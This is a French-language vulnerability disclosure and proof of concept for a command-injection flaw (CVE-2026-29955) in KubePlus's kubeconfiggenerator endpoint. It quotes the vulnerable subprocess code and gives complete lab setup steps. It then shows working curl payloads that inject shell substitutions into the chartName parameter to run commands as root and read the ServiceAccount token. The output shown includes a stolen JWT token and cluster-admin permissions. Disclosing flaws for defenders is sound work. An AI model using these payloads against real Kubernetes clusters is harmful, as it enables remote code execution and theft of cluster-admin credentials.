
Preuve de concept pour CVE-2026-29955, une vulnérabilité d'injection de commandes dans KubePlus kubeconfiggenerator permettant l'exécution de code à distance et le vol de jetons ServiceAccount dans les clusters Kubernetes.
Cette vulnérabilité existe dans le composant kubeconfiggenerator de KubePlus, permettant à des attaquants ayant accès à l'interface HTTP d'injecter des commandes shell via le paramètre chartName, d'exécuter du code arbitraire en tant que root dans le conteneur, et de voler les jetons de ServiceAccount avec les privilèges cluster-admin. Classification CWE recommandée : CWE-78 (Injection de commandes système).
Le point de terminaison /registercrd du composant kubeconfiggenerator de KubePlus est vulnérable à l'injection de commandes. Le composant utilise subprocess.Popen() avec le paramètre shell=True pour exécuter des commandes shell, et le paramètre chartName fourni par l'utilisateur est directement concaténé dans la chaîne de commande sans aucune assainissement ni validation. Un attaquant peut injecter des commandes shell arbitraires en élaborant une valeur malveillante pour le paramètre chartName.
Lors du traitement des demandes d'enregistrement CRD, le composant kubeconfiggenerator télécharge et extrait les charts Helm. Dans la fonction download_and_untar_chart(), le paramètre chartName est directement concaténé dans les commandes shell :
Fichier : deploy/kubeconfiggenerator.py:60-69
def run_command(cmd):
print(cmd)
cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
out = cmdOut[0].decode('utf-8')
err = cmdOut[1].decode('utf-8')
return out, err
Fichier : deploy/kubeconfiggenerator.py:554
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
Fichier : deploy/kubeconfiggenerator.py:562
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)
En raison du paramètre shell=True, les attaquants peuvent utiliser la syntaxe de substitution de commandes shell $(commande) pour injecter des commandes arbitraires.
En envoyant une requête HTTP au point de terminaison /registercrd avec un paramètre chartName malveillant, un attaquant peut exécuter des commandes arbitraires dans le conteneur kubeconfiggenerator. Étant donné que le conteneur s'exécute en tant que root et que son ServiceAccount dispose des privilèges cluster-admin, l'attaquant peut :
# Créer la configuration du cluster Kind
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
- role: control-plane
EOF
# Créer le cluster
kind create cluster --config kind-config.yaml
# Vérifier le cluster
kubectl cluster-info
kubectl get nodes
Sortie attendue :
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
NAME STATUS ROLES AGE VERSION
kubeplus-test-control-plane Ready control-plane 1m v1.27.3
# Créer le répertoire de travail
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc
# Télécharger les plugins KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz
# Télécharger le script provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py
# Configurer l'environnement Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes
# Obtenir l'adresse du serveur API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# Créer le kubeconfig du fournisseur
python3 provider-kubeconfig.py -s $apiserver create default
Sortie attendue :
Provider kubeconfig created: kubeplus-saas-provider.json
# Télécharger le chart Helm KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz
# Installer KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default
# Attendre que les pods soient prêts
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s
# Vérifier l'installation
kubectl get pods -n default -l app=kubeplus
Sortie attendue :
NAME READY STATUS RESTARTS AGE
kubeplus-deployment-57dbf6f8b9-xxxxx 5/5 Running 0 2m
# Obtenir le nom du pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')
# Configurer le transfert de port
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &
# Vérifier que le service est accessible
curl -s http://localhost:5005/hello
Sortie attendue :
hello world
Envoyer une requête avec un paramètre chartName malveillant :
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt
Sortie de vérification réelle :
uid=0(root) gid=0(root) groups=0(root)
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt
Sortie de vérification réelle :
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"
Sortie de vérification réelle :
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
Les journaux du conteneur kubeconfiggenerator montrent l'exécution de l'injection de commande :
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)
Cette vulnérabilité permet à un attaquant de :
*.*)Score CVSS v3.1 : 8.8 (Élevé)
Vecteur : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
shell=True pour l'exécution de commandesAucune version corrigée disponible pour le moment.
# Exemple de NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-kubeconfighelper
namespace: default
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
trusted: "true"
ports:
- protocol: TCP
port: 5005
@b0b0haha ([email protected]) @lixingquzhi ([email protected])